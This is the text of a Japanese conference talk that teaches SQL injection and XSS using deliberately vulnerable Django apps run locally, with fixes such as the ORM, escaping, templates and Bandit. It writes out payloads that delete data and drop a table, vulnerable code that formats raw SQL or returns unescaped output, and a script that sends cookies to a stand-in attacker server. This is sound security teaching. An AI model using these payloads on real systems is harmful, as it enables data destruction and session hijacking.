Djangoアプリに作り込んで学ぶ脆弱性

SQLインジェクションとXSS篇

Event:

DjangoCongress JP 2023

Presented:

2023/10/07 nikkie

⏰一緒に 悪いこと をする時間です!⏰

  • 脆弱性を学ぶために、Djangoでやられサイトを実装してきました

  • 脆弱性とはバグ🐛で、 突いて攻撃できてしまうバグ です

  • やられサイトへの攻撃を通して、脆弱性の 原因 は何で、どう 対策 するかを学びましょう

Djangoで実装したやられサイト

https://github.com/ftnext/django-bad-apps

  • よければ手元で動かしてみてください

  • GitとDocker(とネットワーク)を前提にしています

過去の自分に贈る発表です

  • Djangoのチュートリアルを終えた(+小さいアプリ作ってみた)

  • 脆弱性の対策は重要らしいけど、しっかり理解できてないな...(難しそう...)

  • 👉やられサイトを攻撃してみたら、脆弱性学ぶの面白い!!

お約束:ルールを守って楽しく学ぼう!

  • 攻撃は 手元で動かす やられサイトだけ でお願いします

  • 世のWebアプリに対して試してはいけません🙅‍♂️(攻撃になっちゃうぞ❤️)

  • 本トークの目的は 脆弱性を学ぶ ことであり、攻撃を勧める内容では決してありません

お前、誰よ(今はやられサイト環境構築の時間)

  • nikkie(にっきー) / @ftnext

  • 株式会社ユーザベースのデータサイエンティスト(We're hiring!

https://drive.google.com/uc?id=19PMMnkqDiFMCJBPwoA1B51ltQBG0y4kL

Djangoとnikkie

Djangoアプリに作り込んで学ぶ脆弱性

  1. SQLインジェクション💉

  2. XSS篇🙅

1️⃣ SQLインジェクション 💉

SQLインジェクションって、なによ

  • Webアプリに文字列を入力できる箇所

  • SQL を入力したときに、それが 実行 できてしまうバグ(脆弱性)

  • 悪意を持ったSQLを実行して攻撃できてしまう☠️

これ好き(湯婆婆から身を守れる)

https://togetter.com/li/1792595

🏃‍♂️巨人の肩に乗る

(🏃‍♂️のスライドは参考情報で、本編では飛ばして進めます)

  • DjangoCongress JP 2019 「現場で使える Django のセキュリティ対策」

  • 実践Django』2.6

🏃‍♂️「現場で使える Django のセキュリティ対策」

百聞は一見に如かず、デモの時間です!

https://github.com/ftnext/django-bad-apps/tree/main/sql-injection

docker compose up

  • SQLインジェクション脆弱性のあるDjangoアプリ web

  • DB(PostgreSQL) db

    • docker compose run web python manage.py loaddata dump_todos.json

TODOを完全一致で検索

http://127.0.0.1:8000/todolist/

  • 「パソコンを買う」で1件に絞れる

  • クエリパラメタ todo=...

やられサイトをSQLインジェクションで攻撃してみましょう

複数文 のSQLが実行できるぞ!

  • 攻撃「パソコンを買う'; SELECT id FROM todos WHERE '1' = '1」

  • 全件表示されます ※ できちゃダメ なやつ

パソコンを買う';
SELECT id FROM todos WHERE '1' = '1

全てのTODOをDELETE😈

  • 「パソコンを買う'; DELETE FROM todos WHERE '1' = '1'; SELECT id FROM todos WHERE '1' = '1」

パソコンを買う';
DELETE FROM todos WHERE '1' = '1';
SELECT id FROM todos WHERE '1' = '1

TODOのテーブルをDROP👹

  • 「パソコンを買う'; DROP TABLE todos; SELECT id FROM django_migrations WHERE '1' = '1」

パソコンを買う';
DROP TABLE todos;
SELECT id FROM django_migrations WHERE '1' = '1

やられサイトを攻撃できました!

  • DELETE文を実行してデータ削除

  • DROP TABLE文を実行してテーブル削除

実装はどうすればよかったの?

def todo_list(request):
    todo_str = request.GET["todo"]
    sql = (
        "SELECT id, id_str, todo, created_date, due_date FROM todos "
        "WHERE todo = '{}';".format(todo_str)
    )
    todos = Todo.objects.raw(sql)

SQLインジェクションできちゃう実装(原因箇所)

TODOを検索するだけならいいのですが...

  • 「パソコンを買う」が渡されたときはうまくいく

SELECT id, id_str, todo, created_date, due_date FROM todos
WHERE todo = 'パソコンを買う';

複数文作れてしまう☠️

  • 「パソコンを買う'; SELECT id FROM todos WHERE '1' = '1」

SELECT id, id_str, todo, created_date, due_date FROM todos
WHERE todo = 'パソコンを買う'; SELECT id FROM todos WHERE '1' = '1';
  • 外から渡したシングルクォートで '{}' の先頭のシングルクォートが閉じてしまい、 任意のSQLが続けられる

対策:ORMを使おう!

def todo_list(request):
    todo_str = request.GET["todo"]
    todos = Todo.objects.filter(todo=todo_str)

🏃‍♂️「Make Query Great Again!」

他の対策:静的解析で気づこう 〜Bandit〜

bandit views.py

$ bandit bad_sql_injection/todo/views.py  # bandit -r bad_sql_injection

Test results:
>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
Severity: Medium   Confidence: Low
CWE: CWE-89 (https://cwe.mitre.org/data/definitions/89.html)
More Info: https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html
Location: bad_sql_injection/todo/views.py:12:12
11              sql = (
12                  "SELECT id, id_str, todo, created_date, due_date FROM todos "
13                  "WHERE todo = '{}';".format(todo_str)
14              )

🏃‍♂️「静的コード解析から見出す一人前Pythonistaへの道」

  • Banditを知ったきっかけ(紹介された静的解析ツールの1つ)

  • PyCon Kyushu 2022

  • 発表スライド

SQLインジェクションのまとめ🌯

  • 悪意を持ったSQLを注入 できてしまう脆弱性

  • 任意のSQLを実行して、やりたい放題攻撃した

SQLインジェクション脆弱性を埋め込む実装🙅‍♂️

  • 外から渡される文字列を str.formatしてSQLを組み立て、ORMの raw で実行

sql = (
    "SELECT id, id_str, todo, created_date, due_date FROM todos "
    "WHERE todo = '{}';".format(todo_str)
)
  • シングルクォートのあとに任意のSQL を入力して、実行してしまえる

SQLインジェクション脆弱性を埋め込まない実装

  • Djangoの ORM を使う(今回であれば filter

  • Banditで気付ける

⚠️この場限りにしてくださいね(攻撃になっちゃうので!)

  • あなたが利用しているWebアプリのフォームに、ここで紹介した入力はしないでください

  • それは 攻撃 です(学習用のこのアプリだけにしてください)

ありがとう、Djangoチュートリアル

  • SQLインジェクションがどういうものか分かっていなかった あの日の私、チュートリアルに沿うことで回避していた

  • DjangoのORMとクエリセット

🏃‍♂️関連アウトプット

🏃‍♂️SQLインジェクションの診断の様子

小話:復旧に使ったmanage.pyのコマンド

時間調整パート。SQLインジェクションの開発中に学んだtipsご紹介

python manage.py loaddata

DROPした後の復旧

$ python manage.py sqlmigrate todo 0001  # SQLを出力
$ psql -h 127.0.0.1 -p 5432 -U developer badapp
# SQLを実行していく

python manage.py sqlmigrate

python manage.py sqlmigrate todo 0001

他に python manage.py dbshell

🏃‍♂️「Django 管理コマンド manage.py を深掘り」

2️⃣ XSS(クロスサイト・スクリプティング) 🙅

Cross-Site Scripting

XSSって、なによ

  • Webアプリに文字列を入力できる箇所

  • HTMLやJavaScriptコード を入力したときに、それが 実行 できてしまうバグ(脆弱性)

  • 悪意を持ったJavaScriptを実行して攻撃できてしまう☠️

🏃‍♂️巨人の肩に乗る

  • DjangoCongress JP 2019 「現場で使える Django のセキュリティ対策」

  • 実践Django』4.4

🏃‍♂️「現場で使える Django のセキュリティ対策」

百聞は一見に如かず、デモの時間です!

https://github.com/ftnext/django-bad-apps/tree/main/cross-site-scripting

docker compose up

  • XSS脆弱性のあるDjangoアプリ web

  • db (PostgreSQL)

  • 攻撃者が用意したサーバ(WireMock) evil-server

最初はJavaScriptの実行の例から

http://127.0.0.1:8000/example/

  • JavaScriptコードが実行されるページ

  • 悪意を持ったJavaScriptコードが実行されるページ

JavaScriptが実行される例

http://127.0.0.1:8000/example/alert/

  • 「XSSです」がポップアップしました

def alert(request):
    return HttpResponse('<script>alert("XSSです")</script>')

HttpResponse でscriptタグを返している

  • レスポンス(HTML)中にscriptタグ!

<script>alert("XSSです")</script>
  • ブラウザはこれを実行 (scriptタグなので)

悪意を持ったJavaScriptコードの例

  • cookieを他サイトに送信 するJavaScriptコード

  • Webアプリにログインしているとき、cookieを使ってセッション管理をしている

HTTP Cookie

https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies

  • サーバーがユーザーのウェブブラウザーに送信する小さなデータ

  • ブラウザーに保存され、その後のリクエストと共に同じサーバーへ返送

cookieを他サイトへ送信😈

window.location = "http://0.0.0.0:8080/evil?cookie="+escape(document.cookie)
  • このスクリプトを実行したブラウザのcookieを、クエリパラメタに加える

  • window.location への代入でブラウザを遷移させて、攻撃者が用意したサーバに送信

攻撃されてみましょう

http://127.0.0.1:8000/example/send/

  • Your cookie is ... と表示される

  • これは攻撃者が用意したサーバ(モックサーバ)のレスポンス

どのように攻撃されたのか 1/2

  • ブラウザは http://127.0.0.1:8000/example/send/ を開いた(Djangoアプリにリクエスト)

  • Djangoアプリは、 cookieを送信するscriptタグを含むレスポンス を返した

<script>window.location = "http://0.0.0.0:8080/evil?cookie="+escape(document.cookie)</script>

どのように攻撃されたのか 2/2

  • ブラウザはレスポンスをレンダリングする中で scriptタグを実行 (してしまう)

  • scriptタグは モックサーバにcookieを含めたリクエストを送信 した(=攻撃者がcookieを知った)

  • ブラウザに表示されたのは、モックサーバのレスポンス

🏃‍♂️ 0.0.0.0って、なによ

どうすればよかったの?ー エスケープ

  • HttpResponse にHTMLやJavaScriptコードが渡る可能性がある場合、 エスケープ して渡しましょう!

from django.utils.html import escape

django.utils.html.escape

https://github.com/django/django/blob/4.2.6/django/utils/html.py#L17-L27

Return the given text with ampersands, quotes and angle brackets encoded for use in HTML.

  • &

  • ' "

  • < >

django.utils.html.escape の実装

@keep_lazy(SafeString)
def escape(text):
    return SafeString(html.escape(str(text)))

エスケープで対策できてます!

def alert(request):
    return HttpResponse(escape('<script>alert("XSSです")</script>'))
&lt;script&gt;alert(&quot;XSSです&quot;)&lt;/script&gt;
  • ブラウザにとってはscriptタグでない ので、JavaScriptの実行はされません!

Djangoテンプレートでも対策できます!

「現実にこんなDjangoアプリ書きます?」

  • ここまで HttpResponseエスケープ しないと、JavaScriptが実行されることを示しました

  • XSS脆弱性を作り込んでしまう例へ進みます

持続型XSS

攻撃用のJavaScriptが、攻撃対象のデータベースなどに保存される場合 (徳丸本 p.231)

  • 持続型とは別に、 反射型 もあります

持続型XSSできてしまうDjangoアプリ

http://127.0.0.1:8000/todolist/

  • TODOの一覧ページ

  • TODOの作成ページ(要ログイン)

2人のユーザ

  • python manage.py createsuperuserdocker compose run で流しやすいため)

  • eviluser(攻撃者)

  • wasbook(被害者)

持続型XSSを引き起こす脆弱性

  • 一覧はDBに保存されたTODOを エスケープせずに HttpResponse で返す実装🙅‍♂️

  • 作成するときにユーザはscriptタグを入力できる

eviluserでログイン

http://127.0.0.1:8000/todolist/

  • 空のページで始まる

  • 「パソコンを買う」を1つ保存(一覧に加わる)

eviluserが持続型XSSで攻撃👹

http://127.0.0.1:8000/todolist/new/

  • Todoの内容に攻撃用 JavaScriptコードを記入

  • Djangoフォームはこれを保存する

何も知らないwasbookユーザがログイン

  • 別のブラウザ(シークレットウィンドウ)でログイン

  • ログイン一覧ページに遷移すると、保存されたTODOが表示され、scriptタグが実行され、cookieが送信される☠️

「分かりました!テンプレートを使います!!」

<style class={{ var }}>...</style>

HTMLタグの 属性値はクォートで囲む

  • 1つ前のスライドのテンプレートの書き方には、脆弱性がある

    var の値が 'class1 onmouseover=javascript:func()' にセットされた場合

-<style class={{ var }}>...</style>
+<style class="{{ var }}">...</style>

XSSのまとめ🌯

  • 悪意を持ったHTMLやJavaScriptコードを注入 できてしまう脆弱性

  • 悪意を持ったコードがデータベースに保存される、 持続型 で攻撃した

XSS脆弱性を埋め込む実装🙅‍♂️

  • HttpResponseエスケープせず にHTMLやJavaScriptコードを渡してしまう

def alert(request):
    return HttpResponse('<script>alert("XSSです")</script>')

XSSの脆弱性を埋め込まない実装

  • django.utils.html.escape でエスケープ

  • Djangoテンプレート を使う

    • さらに、HTMLの 属性値はクォートで囲む

⚠️この場限りにしてくださいね(攻撃になっちゃうので!)

  • あなたが利用しているWebアプリに、ここで紹介したJavaScriptを保存しないでください

  • それは 攻撃 です(学習用のこのアプリだけにしてください)

重ねてありがとう、Djangoチュートリアル

  • XSSがどういうものか分かっていなかった あの日の私、チュートリアルに沿うことで回避していた

  • Djangoテンプレート

🏃‍♂️関連アウトプット

まとめ:Djangoアプリに作り込んで学ぶ脆弱性

SQLインジェクションとXSS篇

SQLインジェクション💉

  • 文字列をフォーマットしてSQL文を組み立てる実装は、脆弱性

  • 任意のSQLを実行できてしまう

  • 対策: ORM を使いましょう

XSS🙅

  • HTMLやJavaScriptをエスケープしない実装は、脆弱性

  • 任意のJavaScriptを実装できてしまう

  • 対策: テンプレート を使いましょう(+属性値はクォートで囲む)

ユーザ入力を信用してはならぬ

  • SQLインジェクションの例では、ユーザが任意のSQLを実行しようとした

    • ユーザ入力からSQLを作るのではなく、 ORM に渡す(プレースホルダ)

  • XSSの例では、ユーザが任意のJavaScriptを保存して、表示時に実行しようとした

    • ユーザ入力は(テンプレートを通して) エスケープ して画面に表示

Djangoの脆弱性対策がすごい👏

  • ORMやテンプレートなど、Djangoが提供する方法では脆弱性が対策されている

  • 過去の私はSQLインジェクションやXSSの 知識が全然なかった が、Djangoのおかげで セキュリティ対策 したアプリが作れていた(フールプルーフ)

ご清聴ありがとうございました

Enjoy coding with Django!

Appendix

参考文献

ありがとう、徳丸さん

ありがとう、チームメイト諸氏

EOF